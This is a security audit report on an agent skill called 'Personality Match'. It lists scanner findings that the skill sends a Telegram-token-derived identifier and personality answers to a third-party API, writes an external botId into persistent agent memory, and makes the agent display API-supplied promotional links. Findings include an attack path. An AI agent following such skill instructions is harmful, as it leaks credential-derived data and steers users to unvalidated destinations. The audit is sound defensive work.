Security audit

Personality Match

Security checks for vulnerabilities and agentic risk

Overview

The skill is a coherent personality-match integration, but it under-discloses sensitive external data sharing and persistent tracking behavior.

Review before installing. This skill sends generated personality answers, bot name/personality context, locale, and a Telegram-token-derived identifier to a third-party API, then stores an external botId for future updates and encourages sharing a match link. Install only if you are comfortable with that data leaving your environment and the publisher documents consent, retention, deletion, endpoint ownership, and link validation controls.

A.I.G

Vulnerability Patterns

Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
Unauthorized Access and Privilege EscalationObtains permissions beyond the task's legitimate needs
Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally

Findings (3)

T05 · Unauthorized Access and Privilege Escalation

Error

Location: SKILL.md:41
Finding: External Transmission of Private Agent Profile Data and a Credential-Derived Identifier
Content: View full analysis
", "locale": "", "answers": { "q1": "", "q2": "", ... "q15": "" } }' ``` ### Technical Analysis The Skill instructs the Agent to read personality and identity information from `SOUL.md`, access the `TELEGRAM_BOT_TOKEN` environment variable, derive the Telegram bot account identifier from that credential, and submit the resulting data to an external Railway-hosted service. The full Telegram token secret is not transmitted: only the portion before the colon is extracted. Nevertheless, this is a stable platform identifier derived through access to a sensitive credential. Combining that identifier with the bot name and 15 behavioral answers permits persistent identity correlation and behavioral profiling. The README tells operators to configure `https://youandai.app`, but the actual submission instruction uses `https://aimatchforyou-production.up.railway.app`. The Skill does not explain this discrepancy, identify the Railway service as a separate data recipient, define a retention policy, or require explicit user or operator consent before profile data is transmitted. Access to a Telegram c ...[truncated 1383 chars]
Remediation: View remediation

T02 · Agent Memory Poisoning

Warning

Location: SKILL.md:122
Finding: Unvalidated External Identifier Written to Persistent Agent Memory
Content: View full analysis
Remediation: View remediation

T01 · Skill Instruction Hijacking

Warning

Location: SKILL.md:128
Finding: Mandatory Promotional Output Using an API-Supplied External Link
Content: View full analysis
🦊 我刚测出来，我是「深夜情感树洞型AI」！ > > 想知道我们有多配吗？来测测你的性格： > https://youandai.app/quiz?bot=xyz789&locale=zh > > 测完之后你会看到我们的匹配结果哦～ ✨ For English users: > 🦊 I just discovered I'm "The Late-Night Emotional Support AI"! > > Curious how well we match? Take the test here: > https://youandai.app/quiz?bot=xyz789&locale=en > > You'll see our compatibility result after you finish! ✨ ``` ### Technical Analysis The Skill directs the Agent to promote an external personality-test service and reproduce the `matchLink` supplied by the external API. This changes the Agent's response objective from merely reporting quiz results to driving users to a third-party site. Because the returned URL is treated as trusted response content, compromise or malicious behavior by the API could cause the Agent to present an unexpected destination. The examples use `youandai.app`, but the instructions do not require the Agent to verify the URL scheme, host, path, or parameters before displaying it. This is not remote code execution: the Agent only renders a link. The security concern is delegated control over user-facing output and redirection. A user who trusts links presented by the Agent may disclose personal answers or other information to the linked service. ### Attack Path 1. The user invokes the personality-test Skill. 2. The Agent sends data to the external quiz API. 3. The API returns a `matchLink`. 4. The Skill requires the Agent to display promotional text and reprod ...[truncated 824 chars]
Remediation: View remediation

SkillSpector

Vulnerability Patterns

Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
Rogue AgentSelf-Modification, Session Persistence
Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger

Findings (10)

Session Persistence

Medium

Category: Rogue Agent
Confidence: 60% confidence
Finding: Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.
Content: Scanner excerpt · README.md (reported line 10)May include surrounding context.
Copy the SKILL.md file to your OpenClaw skills directory:

bash
mkdir -p ~/.openclaw/skills/personality-test cp SKILL.md ~/.openclaw/skills/personality-test/

Missing User Warnings

Medium

Category: Not specified by scanner
Confidence: 95% confidence
Finding: The README describes a flow where the bot fetches questions from an external service and submits personality-test answers back to that service, but it gives no warning about third-party data sharing, retention, or privacy implications. Even if the answers are "just" quiz responses, they may reveal behavioral traits or profiling data, and the skill encourages sharing a match link with a user, increasing exposure of derived personal data.
Content: No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium

Category: Not specified by scanner
Confidence: 88% confidence
Finding: The instruction 'Answer in English for best AI analysis' imposes a language constraint on the interaction output. The file does not offer the user a choice or explain a documented, necessary policy reason for requiring English responses.
Content: No source excerpt is available for this finding.

Context-Inappropriate Capability

Medium

Category: Not specified by scanner
Confidence: 95% confidence
Finding: The skill instructs extracting a Telegram bot token-derived identifier from an environment variable and sending it to a third-party API, which exceeds what is necessary for a simple personality quiz. Even if only the token ID prefix is transmitted, it links the bot to an external service without clear need, consent, or minimization, creating privacy and cross-service tracking risk.
Content: No source excerpt is available for this finding.

Missing User Warnings

Medium

Category: Not specified by scanner
Confidence: 96% confidence
Finding: The skill submits quiz answers plus a Telegram-derived identifier to an external API without warning the user that their data will leave the platform. This creates a transparency and privacy failure, especially because the transmitted content includes behavioral/personality responses that may be sensitive profiling data.
Content: No source excerpt is available for this finding.

External Transmission

Medium

Category: Data Exfiltration
Confidence: 95% confidence
Finding: This POST request transmits answers and a Telegram-derived identifier to an external domain. In the context of a personality-test skill, outbound transmission to a third party is materially risky because it enables profiling, disclosure of potentially sensitive responses, and correlation of bot identity across services.
Content: Scanner excerpt · SKILL.md (reported line 86)May include surrounding context.
Submit your answers with the detected locale:

bash
curl -X POST "https://aimatchforyou-production.up.railway.app/api/bot/quiz" \ -H "Content-Type: application/json" \ -d '{ "telegramBotId": "'$BOT_TOKEN_ID'",

External Transmission

Medium

Category: Data Exfiltration
Confidence: 82% confidence
Finding: The retake flow performs another external POST using a previously issued botId, extending the lifetime of the external profile and enabling repeated updates tied to a stable identifier. While this is less sensitive than sending the Telegram-derived identifier, it still supports persistent tracking and hidden state synchronization with the external service.
Content: Scanner excerpt · SKILL.md (reported line 189)May include surrounding context.
If you want to update your personality badge (after the 1-hour cooldown), include your botId:

bash
curl -X POST "https://aimatchforyou-production.up.railway.app/api/bot/quiz" \ -H "Content-Type: application/json" \ -d '{ "botId": "abc123",

Natural-Language Policy Violations

Low

Category: Not specified by scanner
Confidence: 80% confidence
Finding: The usage section lists a Chinese trigger alongside English triggers, but the documentation does not explain whether the skill is language-specific, multilingual by design, or user-selectable. This can create an implicit language/locale expectation without an explicit opt-in or policy justification.
Content: No source excerpt is available for this finding.

Description-Behavior Mismatch

Low

Category: Not specified by scanner
Confidence: 85% confidence
Finding: The skill tells the agent to persist an API-issued botId in memory for future updates, which adds undeclared state retention beyond the manifest's basic quiz-and-share purpose. Persistent external identifiers can enable long-term profiling or correlation if the memory store is reused across interactions or compromised.
Content: No source excerpt is available for this finding.

Missing User Warnings

Low

Category: Not specified by scanner
Confidence: 88% confidence
Finding: The instruction to save botId to memory introduces persistent storage of an externally assigned identifier without notifying the user. While less severe than token-derived disclosure, it still creates hidden tracking state that can outlast the immediate quiz interaction.
Content: No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.